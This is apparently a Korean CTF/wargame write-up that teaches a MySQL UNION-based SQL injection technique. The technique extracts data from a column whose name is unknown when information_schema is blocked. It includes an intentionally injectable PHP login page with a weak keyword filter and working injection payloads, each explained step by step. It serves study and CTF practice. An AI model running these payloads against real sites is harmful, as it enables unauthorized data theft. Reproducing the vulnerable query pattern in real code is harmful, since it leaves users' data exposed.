SQL injection_ get unknown Column’s data
“SELECT * FROM Table WHERE …”
위처럼 Column의 이름을 알지 못할 경우 해당 information_schema의 Column 테이블에서 가져와야 한다.
하지만 information_schema가 막힌경우 Column의 이름을 알 수 가 없다.
그러나 이번 글에서 이름을 알지 못하는 Column의 정보를 가져오는 방법을 알아보자
Concept
일반적인 SQLi 경우 컬럼의 정보를 얻기 위해 information_schema.columns 에서 가져 오게 된다.
하지만 information_schema 접근이 막혔을 때는 어떻게 해야할까?
원리는 간단한다.
원하는 컬럼명을 넣고 > 원하는 unknown 컬럼의 이름을 으로 alias로 원하는 컬럼 명으로 출력한다.
아래 소스 코드를 보고 좀 더 이해해 보자.
Example
<?php ini_set("display_errors", 0); $link = mysqli_connect(_HOST_,_USER_,_PASS_,_DB_) or die(); if(preg_match("/information|schema|\./i",$_GET[id]) || preg_match("/information|schema|\./i",$_GET[pw])) die("no hack ~_~"); $sql="SELECT * FROM `SIL_TEST` WHERE `id` = '{$_GET['id']}' and `pw` = MD5('{$_GET['pw']}')"; $r = mysqli_fetch_array(mysqli_query($link, $sql)); echo "<h2>Can you Found other column's data?</h2><br>"; echo $r['id'].":".$r['pw']; echo "<hr>"; show_source('index.php');
간단히 만든 예제 이다.
다른 컬럼의 내용을 알아 내라고 했으나 information_schema의 접근은 불가능한 상태이다.
Solution
가장 먼저 DB의 구조를 파악해야 한다.
Query: ?id=' or 1 union select 1,2,3 %23
이렇게 컬럼의 갯수를 알아 낸다.
이후엔 원하는 컬럼의 내용을 출력하기 위해 해당 내용을 써내야 되는데,
현재 출력되는 컬럼은 첫번째와 두번째 컬럼 ‘1’과 ‘2’ 므로 원하는 곳에 x(또는 원하는 문자나 숫자)를 넣어준다.
이후 FROM절에서 SIL_TEST의 3번째 값을 alias를 이용해서 x로 가져오면 된다.
Query: ?id=' or 1 union select 1,x,3 from (select 1,2,3 as x union select * from SIL_TEST limit 1,1)as dummy limit 1,1%23
이렇게 하게 되면 3번째 컬럼의 값이 나오게 된다.
Explain Query
SQL 쿼리는 제일 안쪽 괄호에서 부터 풀어져 나오므로 하나씩 차근차근 보자
Step 1 (select 1,2,3 as x union select * from SIL_TEST limit 1,1)
가장먼저 앞쪽의 “select 1,2,3 as x” 의 의해서 | 1 | 2 | x | 라는 컬럼 이 만들어지고 각각 1,2,3이란 데이터가 들어가게 된다.
그리고 “union select * from SIL_TSET”를 실행 하게 되는데, 이때 위에서 만든 | 1 | 2 | x | 컬럼에 SIL_TEST의 값이 아래에 들어가게 된다.
여기까지의 쿼리 실행 결과를 가져오면
| 1 | 2 | x |
| 1 | 2 | 3 | > select 1,2,3 as x에서 가져온 값
| data1 | data2 | data3 | > select * from SIL_TEST에서 가져온값
이렇게 표시 된다. 그리고 마지막의 limit 1,1 으로 | data1 | data2 | data3 | 값만 가져오게 된다.
Step 2 union select 1,x,3 from ( /STEP 1/ )as dummy limit 1,1 %23
이제 우리가 원하는 ‘data3’ 은 ‘x’라는 이름의 컬럼에 들어가 있다. 이제는 단순히 SELECT 결과를 FROM절을 통해 가져오는 것 뿐이다.
(/STEP 1/) as dummy는 만들어진 | data1 | data2 | data3 | 이녀석을 Table 처럼 사용하기위해 들어간 것이다.
그리고 이렇게 실행된 쿼리의 결과를 가져오면
| 1 | x | 3 |
| dummy | dummy | dummy | > ‘ or 1로 가져온 더미 값 또는 앞쪽 SQL문의 실행 결과 값
| 1 | data3 | 3 | > /STEP 1/ 에서 만든 | data1 | data2 | data3 | 에서 가져온 값
이렇게 가져왔으니 limit으로 짜르거나 아에 처음부터 or 1을 안넣어 바로 나오게 하는 방법도 있다.
“” 리얼 월드에선 잘 쓰이지 않을 것 같지 않지만, 우리의 지적 탐구심을 자극하기에는 충분한것 같다.
References CTF or Wargame
Wargame.kr adm1nkyj
Codegate 2017 2D-Life